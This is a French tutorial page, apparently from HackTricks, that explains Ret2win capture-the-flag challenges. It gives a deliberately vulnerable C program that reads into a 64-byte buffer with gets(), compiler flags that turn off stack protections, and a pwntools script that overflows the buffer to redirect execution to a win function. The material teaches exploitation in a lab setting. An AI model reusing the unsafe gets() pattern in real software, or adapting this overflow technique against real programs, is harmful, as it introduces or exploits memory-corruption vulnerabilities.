Ret2win

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Informations de base

Les défis Ret2win sont une catégorie populaire dans les compétitions de Capture The Flag (CTF), en particulier dans les tâches qui impliquent l'exploitation binaire. Le but est d'exploiter une vulnérabilité dans un binaire donné pour exécuter une fonction spécifique et non invoquée à l'intérieur du binaire, souvent nommée quelque chose comme win, ret2win, etc. Cette fonction, lorsqu'elle est exécutée, affiche généralement un drapeau ou un message de succès. Le défi implique généralement de remplacer l'adresse de retour sur la pile pour détourner le flux d'exécution vers la fonction désirée. Voici une explication plus détaillée avec des exemples :

Exemple en C

Considérez un programme C simple avec une vulnérabilité et une fonction win que nous avons l'intention d'appeler :

#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}

Pour compiler ce programme sans protections de la pile et avec ASLR désactivé, vous pouvez utiliser la commande suivante :

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -m32: Compiler le programme en tant que binaire 32 bits (c'est facultatif mais courant dans les défis CTF).

  • -fno-stack-protector: Désactiver les protections contre les débordements de pile.

  • -z execstack: Autoriser l'exécution de code sur la pile.

  • -no-pie: Désactiver l'exécutable indépendant de la position pour garantir que l'adresse de la fonction win ne change pas.

  • -o vulnerable: Nommer le fichier de sortie vulnerable.

Exploitation en Python en utilisant Pwntools

Pour l'exploitation, nous utiliserons pwntools, un puissant framework CTF pour écrire des exploits. Le script d'exploitation créera une charge utile pour déborder le tampon et écraser l'adresse de retour avec l'adresse de la fonction win.

from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()

Pour trouver l'adresse de la fonction win, vous pouvez utiliser gdb, objdump, ou tout autre outil vous permettant d'inspecter les fichiers binaires. Par exemple, avec objdump, vous pourriez utiliser :

objdump -d vulnerable | grep win

Cette commande vous montrera l'assemblage de la fonction win, y compris son adresse de début.

Le script Python envoie un message soigneusement conçu qui, lorsqu'il est traité par la vulnerable_function, déborde le tampon et écrase l'adresse de retour sur la pile avec l'adresse de win. Lorsque vulnerable_function retourne, au lieu de retourner à main ou de sortir, il saute à win, et le message est imprimé.

Protections

  • ASLR doit être désactivé pour que l'adresse soit fiable à travers les exécutions ou l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin d'une fuite pour savoir où la fonction win est chargée.

  • Les Canaries de pile doivent également être désactivés sinon l'adresse de retour EIP compromise ne sera jamais suivie.

Autres exemples & Références

Dernière mise à jour